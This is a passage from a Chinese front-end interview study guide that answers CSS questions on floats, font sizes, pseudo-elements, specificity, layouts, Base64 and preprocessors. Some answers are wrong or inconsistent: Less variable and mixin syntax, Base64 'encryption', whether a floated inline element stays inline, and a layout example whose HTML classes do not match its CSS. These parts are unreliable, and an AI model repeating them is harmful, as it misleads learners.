    • 支持高达 16.7 百万种颜色,适合存储照片和复杂图像。
    • 使用有损压缩算法,可以调整压缩质量以平衡图像质量和文件大小。
    • 不支持透明效果,背景会被默认填充为白色。
    • 适合摄影、艺术作品等需要保留高质量细节的图像。
  3. PNG (Portable Network Graphics)

    • 有两种类型:PNG-8 和真彩色 PNG。
    • PNG-8 类似于 GIF,支持最多 256 种颜色,文件较小,可以实现透明效果。
    • 真彩色 PNG 支持高分辨率的真彩色图像,文件较大,支持完全的 alpha 透明度。
    • 不支持动画功能。
    • 适合图标、背景、按钮等需要透明度的图像。

选择使用哪种图像格式取决于图像的特点和用途:

  • 如果需要动画效果,可以选择GIF格式。
  • 如果是照片或复杂图像,需要高质量和丰富的颜色,可以选择 JPG 格式。
  • 如果需要透明背景或简单的透明效果,可以选择 PNG 格式,根据图像的复杂性选择 PNG-8 或真彩色 PNG。

# 18 行内元素float:left后是否变为块级元素?

⚡ 30 秒速记

  • 不是"变成 block",而是 display 被"块级化":inline 会被计算成 block
  • 表现上确实能设宽高、能设垂直 margin/padding
  • 同样的块级化也发生在 position:absolute/fixed 上
  • 但要注意:规范说的是"计算值被调整",不是你写的 display 值被改掉 —— getComputedStyle 读出来是 block
  • 严谨的答法:浮动和绝对定位都会让元素脱流,脱流的盒子必须是块级盒子,所以规范强制转换

行内元素设置 float: left 后,不是简单改成普通块级元素,而是会表现出类似 inline-block 的尺寸特性。 它会脱离正常文档流并向左浮动,此时可以设置 width、height 以及垂直方向的 padding。它的宽度默认仍按内容计算,不会像普通块元素那样自动占满父容器,同时周围内容还可能产生环绕效果。需要铺满父容器时,可以再明确设置 width: 100%。

当行内元素设置了 float: left; 后,并非直接变为块级元素,而是表现出类似行内块级元素 (inline-block) 的特性。

行内元素设置了 float: left; 后会产生以下效果:

  • 行内元素会脱离文档流,并根据设置的浮动方向向左浮动。
  • 其宽度不再受到文本内容的限制,而是根据内容的宽度来确定。
  • 可以设置 padding-top、padding-bottom、width、height 等属性,并产生相应的效果。
  • 相邻的行内元素会环绕在其周围,形成类似于文本环绕的效果。

需要注意的是,设置了浮动的行内元素不会自动填充父元素的宽度,而是根据内容的宽度进行布局。如果希望行内元素具有块级元素的宽度特性,可以设置 width: 100%;

总结:行内元素设置了 float: left; 后,它的表现类似于行内块级元素,但仍然属于行内元素的性质,只是在布局和尺寸上有所改变。

# 19 在网页中的应该使用奇数还是偶数的字体?为什么呢?

⚡ 30 秒速记

  • 偶数。主要是历史和工程原因,不是审美玄学
  • 偶数字号在按 1.5 倍行高计算时不容易出现小数,减少子像素渲染带来的模糊
  • 主流设计稿(尤其 iOS 规范)都用偶数,@2x/@3x 缩放时整除不丢精度
  • Windows 早期点阵字体只对 12/14/16 做了优化,奇数字号渲染发虚
  • 实话实说:现代高分屏 + 矢量字体渲染已经基本没差别,这题更多是考你知不知道来龙去脉

网页中通常更建议使用偶数字号,例如 12px、14px 或 16px。 偶数字号更容易保持整数像素对齐,减少半像素渲染可能带来的文字模糊。它也方便和标题、段落及间距建立统一的比例,让页面看起来更平衡,并减少不同浏览器间的细微显示差异。不过这不是硬性规定,如果奇数字号更符合整体设计和视觉效果,也可以使用。

在网页中,通常建议使用偶数字号的字体,即字号为偶数(如 12px、14px、16px 等)。这是因为偶数字号相对更容易与网页设计的其他部分构成比例关系,具有更好的视觉平衡和一致性。

以下是一些原因和考虑因素:

  1. 整数像素对齐: 偶数字号的字体大小通常是整数像素,而在网页渲染中,整数像素对齐可以提供更锐利和清晰的显示效果。当字号为奇数时,可能需要进行半像素渲染,这可能会导致字体显示模糊或模糊。
  2. 比例和对称: 使用偶数字号的字体可以更容易与其他设计元素形成比例和对称。网页设计通常依赖于一致的比例和对称性,而使用偶数字号的字体可以更好地与网页中的其他元素(如标题、段落、间距等)形成和谐的视觉关系。
  3. 浏览器兼容性: 一些浏览器对于奇数字号字体的渲染效果可能与偶数字号字体略有不同,可能会导致细微的差异。使用偶数字号字体可以减少在不同浏览器上的显示差异。

需要注意的是,这只是一些建议,并不意味着绝对规定。在实际设计中,根据具体情况和个人审美偏好,也可以使用奇数字号字体。最重要的是确保字体大小与整体设计风格和一致性相匹配。

# 20 ::before 和 :after中双冒号和单冒号 有什么区别?解释一下这2个伪元素的作用

⚡ 30 秒速记

  • 单冒号是 CSS2 的写法,双冒号是 CSS3 引入用来区分伪类和伪元素的
  • 规则:伪类用单冒号(:hover、:nth-child),伪元素用双冒号(::before、::after、::first-line)
  • 兼容性:IE8 只认单冒号,所以老代码里都写 :before。今天一律写双冒号
  • 作用:在元素内容的前/后插入一个"伪"子元素,必须写 content 属性(哪怕是 content:'')才会生成
  • 常见用途:clearfix、图标、装饰性引号、计数器、纯 CSS 三角形/角标
  • 注意:伪元素不在 DOM 里,JS 选不到,也无法绑事件;读屏器对 content 文本的处理各家不一致,别放关键内容

单冒号通常表示伪类,双冒号表示伪元素,::before 和 ::after 分别在元素内容的前后生成内容。 像 :hover、:focus 描述的是元素状态,而 ::first-line、::before 处理的是元素的某个部分或生成内容。使用时可以通过 content 配合定位和样式,实现图标、角标或其他装饰效果。本质上是不用修改实际 HTML 结构,也能在指定位置补充视觉内容。

在 CSS 中,单冒号(:)和双冒号(::)有不同的含义和用途。

  1. 单冒号(:): 单冒号用于表示伪类。伪类是用于选择元素的特定状态或动作的关键字,例如 :hover、:active、:focus 等。伪类表示元素的某种状态或行为,它们通常用于选择元素的特定状态并应用相应的样式。
  2. 双冒号(::): 双冒号用于表示伪元素。伪元素是用于在文档中生成或插入特定内容的关键字,例如 ::before、::after、::first-line、::first-letter 等。伪元素可以创建或修改元素的一部分内容,它们允许开发人员在元素的特定位置添加样式或内容,而无需在文档中实际插入额外的 HTML 元素。

关于 ::before 和 ::after 伪元素的作用:

  • ::before: ::before 伪元素用于在选中元素的内容前插入生成的内容。通过设置 content 属性和应用样式,可以在元素的开始位置插入额外的内容,这样就可以实现一些装饰性效果或添加额外的元素内容。
  • ::after: ::after 伪元素用于在选中元素的内容后插入生成的内容。与 ::before 类似,通过设置 content 属性和应用样式,可以在元素的结束位置插入额外的内容,从而实现装饰性效果或添加其他元素内容。

这两个伪元素可以通过 CSS 属性进行定位、设置样式、添加内容等,使开发人员可以在不修改实际 HTML 结构的情况下,实现一些额外的视觉效果或功能。

# 21 如果需要手动写动画,你认为最小时间间隔是多久,为什么?(阿里)

⚡ 30 秒速记

  • 常见答案是 16.7ms,因为多数显示器刷新率 60Hz,1000/60 ≈ 16.7ms,比这更快的更新人眼也看不到
  • 但今天这个答案要补充:120Hz 的手机和显示器已经普及,间隔是 8.3ms
  • 所以正确做法是别写死数字,用 requestAnimationFrame —— 它由浏览器按实际刷新率调度,还会在页面不可见时自动暂停
  • setInterval 做动画的问题:时间不精确、会累积漂移、页面切到后台仍在跑
  • 加分点:能提到掉帧预算(一帧 16.7ms 里 JS + 样式 + 布局 + 绘制 + 合成都要做完)

手动编写动画时,通常把最小时间间隔设为约 16.7ms。 因为多数显示器默认刷新率是 60Hz,也就是一秒刷新 60 次,每帧时间约为 1000 / 60 = 16.7ms。间隔再小,部分更新也可能赶不上显示器刷新,反而出现跳帧或不连续。实际设备和浏览器性能存在差异,所以还要结合目标环境测试和优化,不能只依赖这个理论值。

  • 多数显示器默认频率是60Hz,即1秒刷新60次,所以理论上最小间隔为1/60*1000ms = 16.7ms
  • 如果需要手动编写动画,建议将最小时间间隔设置为 16.7ms,即每帧动画的时间间隔。这是因为大多数显示器的默认刷新频率是 60Hz,也就是每秒刷新 60 次。在这种情况下,将动画的时间间隔设置为 16.7ms 可以确保每帧动画都能够在显示器刷新之前完成。
  • 如果时间间隔小于 16.7ms,则会导致某些帧在显示器刷新之后才能呈现,造成不连续的动画效果,也称为"跳帧"现象。因此,将时间间隔设置为 16.7ms 是一个相对较小的值,可以保证较平滑的动画效果,并且适应大多数显示器的刷新频率。

需要注意的是,由于设备和浏览器的差异,实际的刷新频率和性能可能会有所不同。因此,在编写动画时,还应该进行实际测试和优化,确保动画在各种设备和浏览器上都能够获得良好的表现。

# 22 CSS合并方法

⚡ 30 秒速记

  • 构建期合并:Webpack/Vite 配 css-loader + MiniCssExtractPlugin,把多个文件打成一个
  • 手写时用 @import 由 Sass/PostCSS 在构建期展开,别留到运行时(运行时 @import 会串行加载)
  • 压缩:cssnano / lightningcss 去空格、合并相同规则、简写属性
  • 去无用样式:PurgeCSS 或 Tailwind 的 JIT,按实际用到的类名裁剪
  • 但要注意:HTTP/2 之后"合并成一个大文件"不再总是最优 —— 按路由拆分 + 缓存复用往往更快

CSS 可以通过预处理器、构建工具或服务器端配置合并,并在合并后进行压缩。 我一般会让 Sass、Less 等预处理器组织多个文件,再交给 Webpack、Gulp 等工具自动产出一个文件,这样兼顾维护性和发布效率。服务器端合并也能减少请求数量,而压缩可以继续去掉空格、注释等无关内容。少量关键样式可以内联,但样式较多时会影响维护,因此要根据项目规模取舍。

正确合并 CSS 的方法可以包括以下几点:

  1. 内联 CSS: 将 CSS 直接写在 HTML 文件的 <style> 标签中或者通过 style 属性添加到具体元素中。这样可以减少 HTTP 请求并提高页面加载速度,但可维护性较差。
  2. CSS 预处理器: 使用 CSS 预处理器如 Sass、Less 或 Stylus,它们提供了更灵活和可维护的方式来编写 CSS,并且可以将多个 CSS 文件合并为一个。
  3. 合并工具: 使用构建工具如 Grunt、Gulp 或 Webpack,通过配置任务来合并 CSS 文件。这些工具提供了任务运行、文件合并、压缩等功能,可以自动化合并 CSS,并在开发过程中或上线前进行处理。
  4. HTTP 请求合并: 如果使用多个 CSS 文件,可以通过服务器端配置将它们合并成一个文件,并通过单个 HTTP 请求加载。这样可以减少请求的数量,提高页面加载速度。
  5. 压缩: 对合并后的 CSS 文件进行压缩,去除空格、注释等无关字符,以减小文件大小,提高加载速度。

需要根据具体的项目和需求选择适合的合并方法,以提高页面性能和开发效率。

# 23 CSS不同选择器的权重(CSS层叠的规则)

⚡ 30 秒速记

  • 与第 12 题同考点,交互式权重计算器在第 12 题
  • 权重三元组 (a, b, c):a=id 数、b=类/属性/伪类数、c=元素/伪元素数,逐位比较高位一票否决
  • 三元组之上:!important > 内联样式 > 普通规则
  • 权重相同时后写的赢;同一来源下还要看层叠层 @layer 的顺序
  • 完整的层叠顺序:来源与重要性 → @layer → 内联 → 特指度 → 出现顺序

CSS 选择器通常按 !important、行内样式、ID、类或属性及伪类、元素选择器的顺序比较权重。 常见计算方式是行内样式记作 1000,每个 ID 记作 100,类、属性或伪类记作 10,元素记作 1。组合选择器需要把各部分权重相加,例如 #id1 div 的权重是 101。如果最终权重相同,就看声明顺序,后写的规则会覆盖先写的规则。

CSS选择器的权重规则可以总结如下:

  1. !important规则:具有最高的优先级,优先级为最大。
  2. 行内样式:通过 style 属性直接定义的样式具有较高的权重,优先级为 1000。
  3. ID 选择器:每个 ID 选择器的权重为 100。
  4. 类选择器、属性选择器和伪类选择器:每个类选择器、属性选择器或伪类选择器的权重为 10。
  5. 元素选择器:每个元素选择器的权重为 1。

当应用多个选择器到同一个元素时,根据上述规则计算各个选择器的权重,具有较高权重的样式将被应用。如果存在权重相同的情况,则根据样式规则的先后顺序来决定哪个样式生效,后声明的样式会覆盖先声明的样式。

下面是一个权重计算的示例:

/* 权重为 1 */
div {
}

/* 权重为 10 */
.class1 {
}

/* 权重为 100 */
#id1 {
}

/* 权重为 101 (100 + 1) */
#id1 div {
}

/* 权重为 11 (10 + 1) */
.class1 div {
}

/* 权重为 21 (10 + 10 + 1) */
.class1 .class2 div {
}

根据权重的计算规则,选择器的权重越高,其样式优先级越高,将更有可能应用到对应的元素上。

# 24 列出你所知道可以改变页面布局的属性

⚡ 30 秒速记

  • 盒模型类:width/height、padding、margin、border、box-sizing
  • 定位类:position + top/right/bottom/left、float、clear、z-index
  • 显示类:display、visibility(hidden 仍占位)、overflow
  • 布局容器:flex 全家桶、grid 全家桶、column-*
  • 字体行高:font-size、line-height、font-family(会影响行盒高度,是隐形的布局属性)
  • 面试延伸:这些都是会触发重排(Layout)的属性,而 transform/opacity 只触发合成 —— 所以动画要用后者

能改变页面布局的属性主要分为显示与定位、盒模型尺寸,以及现代布局三类。 display、position、float 和四个方向偏移决定元素怎样参与排版或放在哪里;width、height、margin、padding 与 box-sizing 决定盒子占用的空间。复杂页面通常会优先使用 flex 或 grid,因为它们更适合处理对齐、分栏和自适应。overflow 负责内容溢出时的表现,z-index 则处理定位元素之间的层叠顺序。

以下是一些可以改变页面布局的常用属性:

  1. position:控制元素的定位方式,如static、relative、absolute、fixed等。
  2. display:指定元素的显示方式,如block、inline、inline-block、flex、grid等。
  3. float:使元素浮动到指定的位置,常用于创建多列布局。
  4. width和height:控制元素的宽度和高度。
  5. margin和padding:调整元素的外边距和内边距。
  6. top、left、right和bottom:设置元素相对于其定位父元素的偏移位置。
  7. z-index:控制元素的层叠顺序。
  8. overflow:控制元素内容溢出时的处理方式。
  9. box-sizing:指定元素的盒模型类型,如content-box和border-box。
  10. flexbox和grid:强大的布局模型,用于创建复杂的网格布局和灵活的盒模型布局。

这些属性可以结合使用,通过调整它们的值和组合,可以实现各种不同的页面布局和排列方式。

# 25 CSS在性能优化方面的实践

⚡ 30 秒速记

  • 减少体积:按路由拆包、PurgeCSS 去无用样式、压缩
  • 加快首屏:关键 CSS 内联到 head,非关键的用 media="print" onload 技巧异步加载
  • 减少重排:动画只改 transform/opacity,避免逐帧改 width/top
  • 合理开合成层:will-change 或 translateZ(0) 提升动画元素,但别滥用(每层都吃显存)
  • 选择器别写太深:浏览器从右往左匹配,后代选择器层级深会拖慢样式计算
  • 用 contain / content-visibility 隔离渲染范围,长列表首屏提升明显

CSS 性能优化要同时减少资源传输成本,并降低浏览器匹配和渲染样式的开销。 文件侧可以压缩、合理合并并开启 Gzip,再配合缓存减少重复下载;样式应通过 <link> 放在 <head> 中,避免 @import 带来的额外请求延迟。代码侧要控制选择器层级,少用复杂选择器、CSS 表达式和开销较大的滤镜。合并文件能减少请求,但也会增大单个资源,因此实际使用时要结合页面需要取舍。

在性能优化方面,以下是一些CSS的实践方法:

  1. 压缩和合并CSS:使用CSS压缩工具将CSS文件压缩,并将多个CSS文件合并为一个文件,减少网络请求次数和文件大小。
  2. 使用Gzip压缩:配置服务器开启Gzip压缩,可以减小CSS文件的大小,加快文件传输速度。
  3. 将CSS文件放在<head>标签中:将CSS文件的引用放在HTML文档的<head>标签中,以便在页面渲染前加载CSS样式。
  4. 避免使用@import:避免在CSS中使用@import导入其他CSS文件,因为@import会增加额外的请求延迟,推荐使用<link>标签引入CSS文件。
  5. 使用缩写属性:尽量使用CSS的缩写属性,如margin、padding、font等,可以减少CSS文件的大小。
  6. 避免使用滤镜:某些CSS滤镜效果会导致性能下降,特别是在大型页面中使用,尽量避免滤镜的使用。
  7. 合理使用选择器:选择器的复杂性会影响CSS选择器的匹配速度,尽量避免使用过于复杂的选择器,减少选择器的层级和嵌套。
  8. 避免使用CSS表达式:CSS表达式会在每次页面重绘时重新计算,影响性能,尽量避免使用。
  9. 使用缓存:通过设置适当的HTTP响应头,将CSS文件缓存到浏览器中,减少重复请求。
  10. 使用媒体查询:针对不同设备和屏幕尺寸,使用媒体查询来加载不同的CSS样式,提高响应性能。

这些实践方法可以帮助优化CSS在网页加载和渲染过程中的性能,减少加载时间,提升用户体验。

# 26 CSS3动画(简单动画的实现,如旋转等)

⚡ 30 秒速记

  • transition:状态 A → 状态 B 的补间,需要有触发条件(:hover、加 class),只能跑一次
  • animation + @keyframes:可以定义多个关键帧、能循环、能自动播放,不需要触发条件
  • 关键属性:duration、timing-function、delay、iteration-count、direction、fill-mode(forwards 保持终态)
  • 性能:只对 transform 和 opacity 做动画能走合成层上 GPU;改 width/left 会逐帧触发重排
  • 旋转示例:@keyframes spin { to { transform: rotate(360deg) } } + animation: spin 1s linear infinite
  • 记得配 @media (prefers-reduced-motion: reduce) 关掉动画,这是无障碍要求

CSS3 简单动画通常由 transform 描述变化结果,再用 transition 或 animation 控制变化过程。 transition 适合元素从一种状态过渡到另一种状态,可以设置属性、时长、速度曲线和延迟;animation 配合 @keyframes 定义每一帧,更适合自动播放或循环动画。比如旋转可以在关键帧中把 transform 从 rotate(0deg) 改到 rotate(360deg)。再设置 animation-duration: 3s、linear 和 infinite,元素就会匀速持续旋转。

  • 依靠CSS3中提出的三个属性:transition、transform、animation
  • transition:定义了元素在变化过程中是怎么样的,包含transition-property、transition-duration、transition-timing-function、transition-delay。
  • transform:定义元素的变化结果,包含rotate、scale、skew、translate。
  • animation:动画定义了动作的每一帧(@keyframes)有什么效果,包括animation-name,animation-duration、animation-timing-function、animation-delay、animation-iteration-count、animation-direction

以下是一个使用CSS3动画实现旋转的示例:

/* 定义动画关键帧 */
@keyframes rotate {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

/* 应用动画到元素 */
.element {
  animation-name: rotate; /* 指定动画名称 */
  animation-duration: 3s; /* 动画持续时间 */
  animation-timing-function: linear; /* 动画速度曲线 */
  animation-delay: 0s; /* 动画延迟时间 */
  animation-iteration-count: infinite; /* 动画重复次数,这里设置为无限循环 */
  animation-direction: normal; /* 动画播放方向 */
}

# 27 base64的原理及优缺点

⚡ 30 秒速记

  • 原理:把二进制按每 3 字节切成 4 组 6 bit,映射到 64 个可见字符,不足补 =
  • 体积必然增大约 33%(3 字节变 4 字符)
  • 优点:省一个 HTTP 请求、不受跨域限制、随 CSS/HTML 一起到达不会闪
  • 缺点:体积变大、无法被单独缓存(改一个图整个 CSS 缓存失效)、解码消耗 CPU、大图会明显拖慢首屏
  • 结论:只给 1~2KB 以内的小图标用;HTTP/2 之后连这点收益也不大了,优先用 SVG

Base64 本质上是把二进制数据按每 3 字节分组,再转换成 4 个 6 位的可打印字符,不足部分用填充符补齐。 它适合在文本环境中传输或存储二进制内容,也能把小图片直接嵌入 HTML、CSS 或 JavaScript,从而减少请求。代价是编码后体积会增大,而且编码、解码还会消耗一定的 CPU。另外它是可逆编码,不提供真正的安全性,所以不能当作加密方案使用。

Base64是一种将二进制数据编码为ASCII字符的方法,通过将二进制数据转换为由64个字符组成的可打印字符序列,实现二进制数据的传输和存储。

Base64编码的原理如下:

  1. 将待编码的数据按照每3个字节一组进行分组。
  2. 将每组3个字节转换为4个6位的Base64字符。
  3. 如果最后一组不足3个字节,根据需要进行填充。
  4. 将转换后的Base64字符拼接在一起,形成最终的Base64编码结果。

优点:

  • 可以将二进制数据转换为文本数据,方便在文本环境中传输和存储。
  • 减少了HTTP请求,可以将小的图片或其他资源直接嵌入到HTML、CSS或JavaScript代码中,减少了对服务器的请求次数。

缺点:

  • Base64编码会使数据的大小增加,因为每3个字节的原始数据会转换为4个字节的Base64编码数据。
  • Base64编码是一种可逆的编码方法,虽然可以加密数据,但并不提供真正的安全性。
  • 编码和解码过程涉及到字符转换和处理,消耗了一定的CPU资源。

总的来说,Base64编码适用于在文本环境中传输和存储二进制数据,并且可以减少HTTP请求。但在需要考虑数据大小和性能的情况下,需要权衡使用Base64编码的优缺点。

# 28 几种常见的CSS布局

⚡ 30 秒速记

  • 传统:table 布局(淘汰)、float + 清浮动(老项目)、inline-block(有空白间隙问题)、绝对定位
  • 经典三栏:圣杯布局、双飞翼布局 —— 都是 float + 负 margin 的产物,今天只当历史知识
  • 现代:Flexbox 做一维布局,Grid 做二维布局,三栏五行代码搞定
  • 响应式:媒体查询 + 相对单位(rem/vw/%)+ clamp(),现在还有容器查询 @container 按容器宽度而非视口适配
  • 答题技巧:先说清楚"一维用 Flex、二维用 Grid"这个选型原则,再举例,比罗列七八种老布局有说服力

常见的 CSS 布局包括流体布局、圣杯布局和双飞翼布局,它们都能实现两侧定宽、中间自适应的三栏结构。 流体布局通过左右浮动和中间区域的外边距预留空间,但要注意浮动可能造成父容器高度塌陷,需要清除浮动。圣杯布局用浮动、负边距和相对定位调整两侧位置,并让主体内容在文档中靠前。双飞翼布局则在主体内部设置左右外边距,继续用浮动和负边距归位两翼,减少了对相对定位的依赖。

# 流体布局

	.left {
		float: left;
		width: 100px;
		height: 200px;
		background: red;
	}
	.right {
		float: right;
		width: 200px;
		height: 200px;
		background: blue;
	}
	.main {
		margin-left: 120px;
		margin-right: 220px;
		height: 200px;
		background: green;
	}
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
    <div class="main"></div>
</div>

上述代码实现了一个基本的流体布局,其中左侧(.left)和右侧(.right)是固定宽度和高度的浮动元素,中间部分(.main)是流动的内容区域。

  • .left和.right都使用了浮动(float)属性,分别向左和向右浮动,使它们脱离正常的文档流并排在一起。
  • .left的宽度为100px,高度为200px,背景颜色为红色。
  • .right的宽度为200px,高度为200px,背景颜色为蓝色。
  • .main使用了左右的外边距(margin-left和margin-right),使其在左右两侧留出空白区域,与左侧和右侧元素不重叠。
  • .main的高度为200px,背景颜色为绿色。

这样设置后,左侧和右侧的浮动元素会占据固定的宽度和高度,并排在一起。中间的内容区域会流动到浮动元素的下方,填充剩余的空间。这样就实现了一个基本的流体布局,可以根据容器的大小自动适应屏幕或容器的宽度。

需要注意的是,浮动元素可能会导致父容器的高度塌陷,可以通过在父容器上添加清除浮动的样式来解决这个问题,例如在容器上添加clearfix类:

.container::after {
  content: "";
  display: table;
  clear: both;
}

以上是一个简单的流体布局的示例,实际应用中可能会结合其他CSS属性和技巧来实现更复杂的布局效果。

# 圣杯布局

  • 要求:三列布局;中间主体内容前置,且宽度自适应;两边内容定宽
  • 好处:重要的内容放在文档流前面可以优先渲染
  • 原理:利用相对定位、浮动、负边距布局,而不添加额外标签
  .container {
      padding-left: 150px;
      padding-right: 190px;
  }
  .main {
      float: left;
      width: 100%;
  }
  .left {
      float: left;
      width: 190px;
      margin-left: -100%;
      position: relative;
      left: -150px;
  }
  .right {
      float: left;
      width: 190px;
      margin-left: -190px;
      position: relative;
      right: -190px;
  }
<div class="container">
	<div class="main"></div>
	<div class="left"></div>
	<div class="right"></div>
</div>

上述代码实现了一个圣杯布局,具有三列布局,其中中间的主体内容前置且宽度自适应,两侧内容具有固定宽度。

  • .container是包含整个布局的容器,通过设置左右内边距来给中间主体内容留出空间。
  • .main是中间的主体内容区域,使用浮动(float: left;)和宽度为100%(width: 100%;)来使其占据剩余的宽度,并自适应容器的宽度。
  • .left是左侧内容区域,使用相对定位(position: relative;)和负边距(margin-left: -100%;)来将其向左偏移,并利用相对定位的left属性(left: -150px;)将其定位到容器的左侧。
  • .right是右侧内容区域,同样使用相对定位和负边距来将其向左偏移,并利用相对定位的right属性(right: -190px;)将其定位到容器的右侧。

这样设置后,左侧和右侧的内容区域会以负偏移的方式覆盖在主体内容区域上方,而主体内容区域则会自适应剩余的宽度。这样就实现了一个圣杯布局,能够将重要的内容放在文档流的前面,优先渲染。

需要注意的是,由于使用了负边距和相对定位,可能会导致布局上的一些特殊情况和问题,需要在具体应用中进行测试和调整。

以上是一个简单的圣杯布局的示例,通过相对定位、浮动和负边距等CSS属性和技巧,实现了一个具有三列布局、自适应宽度和前置主体内容的布局效果。

# 双飞翼布局

  • 双飞翼布局:对圣杯布局(使用相对定位,对以后布局有局限性)的改进,消除相对定位布局
  • 原理:主体元素上设置左右边距,预留两翼位置。左右两栏使用浮动和负边距归位,消除相对定位。
.container {
    /*padding-left:150px;*/
    /*padding-right:190px;*/
}
.main-wrap {
    width: 100%;
    float: left;
}
.main {
    margin-left: 150px;
    margin-right: 190px;
}
.left {
    float: left;
    width: 150px;
    margin-left: -100%;
    /*position: relative;*/
    /*left:-150px;*/
}
.right {
    float: left;
    width: 190px;
    margin-left: -190px;
    /*position:relative;*/
    /*right:-190px;*/
}
<div class="content">
    <div class="main"></div>
</div>
<div class="left"></div>
<div class="right"></div>

上述代码实现了一个双飞翼布局,与圣杯布局相比,双飞翼布局消除了相对定位,使布局更加简洁。

  • .container是包含整个布局的容器,可以设置其左右内边距来给中间主体内容留出空间。在双飞翼布局中,我们可以选择是否为容器设置内边距,取决于具体的设计需求。
  • .main-wrap是一个包裹着主体内容的容器,设置宽度为100%和浮动,使其占据一行并自适应宽度。
  • .main是中间的主体内容区域,设置左右外边距来预留出左右两翼的位置,使其不会被左右两边的内容覆盖。
  • .left是左侧内容区域,使用浮动和负边距(margin-left: -100%;)将其向左偏移,使其脱离文档流并覆盖在主体内容的左侧。
  • .right是右侧内容区域,同样使用浮动和负边距(margin-left: -190px;)将其向左偏移,使其脱离文档流并覆盖在主体内容的右侧。

这样设置后,左侧和右侧的内容区域会以浮动和负偏移的方式覆盖在主体内容区域的两侧,而主体内容区域则会自适应剩余的宽度。双飞翼布局相较于圣杯布局,去除了相对定位,使布局结构更加简洁。

需要注意的是,双飞翼布局同样可能出现一些特殊情况和问题,如内容溢出、高度不平等等,需要在具体应用中进行测试和调整。

# 29 stylus/sass/less区别

⚡ 30 秒速记

  • 都是 CSS 预处理器,核心能力一样:变量、嵌套、混入、函数、模块化
  • Sass/SCSS:功能最强、生态最大,SCSS 语法兼容 CSS,现在的事实标准
  • Less:语法接近 CSS,运行在 JS 上,Ant Design 早期用它(antd 5 已改用 CSS-in-JS)
  • Stylus:语法最自由(可省略大括号分号冒号),但生态小,基本没人用了
  • 现在要补的一句:CSS 原生变量、嵌套、@layer、color-mix() 已落地,预处理器的必要性在下降;工程上更多改用 PostCSS 插件按需增强

Sass、Less 和 Stylus 都是 CSS 预处理器,核心能力相近,差别主要在语法形式和具体写法。 三者都支持变量、嵌套、混合和样式复用,但 Sass 更强调缩进层级,Less 和 Stylus 的写法更接近普通 CSS,可以使用大括号。它们在继承、颜色混合等功能上的语法也不完全相同,例如 Sass 使用 @extend,颜色处理函数也各有区别。实际选择时一般看团队习惯、现有工具链和项目要求,不必只凭功能多少决定。

Sass, Less, 和 Stylus 是三种常用的 CSS 预处理器,它们在功能和语法上有一些区别:

  • 语法差异:Sass 使用类似 Ruby 的缩进语法,而 Less 和 Stylus 使用类似 CSS 的语法。Sass 使用严格的缩进表示层次与嵌套关系,而 Less 和 Stylus 可以使用大括号 {} 表示层次和嵌套关系。
  • 变量:Sass、Less 和 Stylus 都支持变量,用于存储和复用值。在 Sass 和 Less 中,变量以 $ 符号开头,而在 Stylus 中,变量以 $ 或者 @ 符号开头。
  • 混合:混合(Mixins)允许将一组 CSS 规则集合存储为一个可重用的样式块。Sass 和 Less 使用 @mixin 定义混合,而 Stylus 使用 mixin 关键字定义混合。
  • 嵌套:Sass、Less 和 Stylus 都支持嵌套规则,可以在父级规则内部定义子级规则。Sass 使用缩进表示嵌套关系,Less 和 Stylus 使用大括号 {} 表示嵌套关系。
  • 继承:继承(Inheritance)允许一个选择器继承另一个选择器的样式。在 Sass 中,使用 @extend 实现继承,而在 Less 和 Stylus 中,使用 & 符号实现继承。
  • 颜色混合:颜色混合(Color blending)允许将两个颜色混合生成一个新的颜色。Sass 使用 mix() 函数实现颜色混合,Less 使用 blend() 函数,而 Stylus 使用 mix() 函数。
  • 环境和工具支持:Sass 是基于 Ruby 的,需要安装 Ruby 环境来编译,而 Less 和 Stylus 可以通过 Node.js 的 NPM 安装相应的库来编译。

总的来说,Sass、Less 和 Stylus 在功能上大致相似,它们都提供了类似的特性,如变量、混合、嵌套、继承等,但在语法和一些细节上有一些差异。选择哪种预处理器取决于个人偏好、团队需求和项目要求。

# 30 postcss的作用

⚡ 30 秒速记

  • 它不是预处理器,是"用 JS 处理 CSS 的工具链平台" —— 把 CSS 解析成 AST 交给插件改写
  • 最常用的插件:Autoprefixer(按 Browserslist 自动加前缀)、postcss-preset-env(用未来语法写现在的 CSS)、cssnano(压缩)、PurgeCSS
  • 和 Sass 的关系不是二选一:Sass 负责写的时候方便,PostCSS 负责编译后的兼容和优化,通常串在一起用
  • Tailwind 本身就是一个 PostCSS 插件
  • 加分点:新项目可以考虑 Lightning CSS(Rust 写的,一个工具同时做转译 + 压缩 + 加前缀,比 PostCSS 链快很多)

PostCSS 本质上是一个用插件转换和优化 CSS 的处理平台,而不是单独提供固定语法的工具。 它先把 CSS 解析成抽象语法树,再交给插件修改,因此能力取决于接入了哪些插件。常见场景是用 Autoprefixer 自动补浏览器前缀,或者进行代码压缩和新语法转换。它也可以接在 Sass 编译之后继续处理生成的 CSS,两者并不冲突。

  • 可以直观的理解为:它就是一个平台。为什么说它是一个平台呢?因为我们直接用它,感觉不能干什么事情,但是如果让一些插件在它上面跑,那么将会很强大
  • PostCSS 提供了一个解析器,它能够将 CSS 解析成抽象语法树
  • 通过在 PostCSS 这个平台上,我们能够开发一些插件,来处理我们的CSS,比如热门的:autoprefixer
  • postcss可以对sass处理过后的css再处理 最常见的就是autoprefixer

PostCSS 是一个用于转换 CSS 的工具,它提供了一个插件化的架构,可以通过加载各种插件来处理 CSS。主要作用包括:

  1. 转换 CSS:PostCSS 可以将 CSS 解析成抽象语法树(AST),并允许开发者编写插件来修改和转换 CSS。这使得开发者可以自定义和扩展 CSS 的功能,从而提供更灵活的编写样式的能力。
  2. 自动添加浏览器前缀:PostCSS 的插件生态系统中最常用的插件之一是 autoprefixer。它可以根据配置和浏览器兼容性自动为样式属性添加浏览器前缀,以确保在不同浏览器中正确显示样式。
  3. 代码优化和压缩:PostCSS 的插件可以用于优化和压缩 CSS 代码,删除不必要的空格、注释、重复规则等,以减小文件大小并提高加载速度。
  4. 使用未来的 CSS 语法:PostCSS 可以支持使用未来的 CSS 语法和功能,例如使用 CSS Variables、CSS Modules、CSS Grid 等。通过一些插件,可以在现有浏览器中使用这些新特性,而无需等待浏览器的更新。

总之,PostCSS 提供了一个灵活的平台和插件生态系统,可以对 CSS 进行各种转换和优化,使开发者能够更好地编写和管理样式代码,并兼容不同的浏览器和未来的 CSS 标准。

# 31 css样式(选择器)的优先级

⚡ 30 秒速记

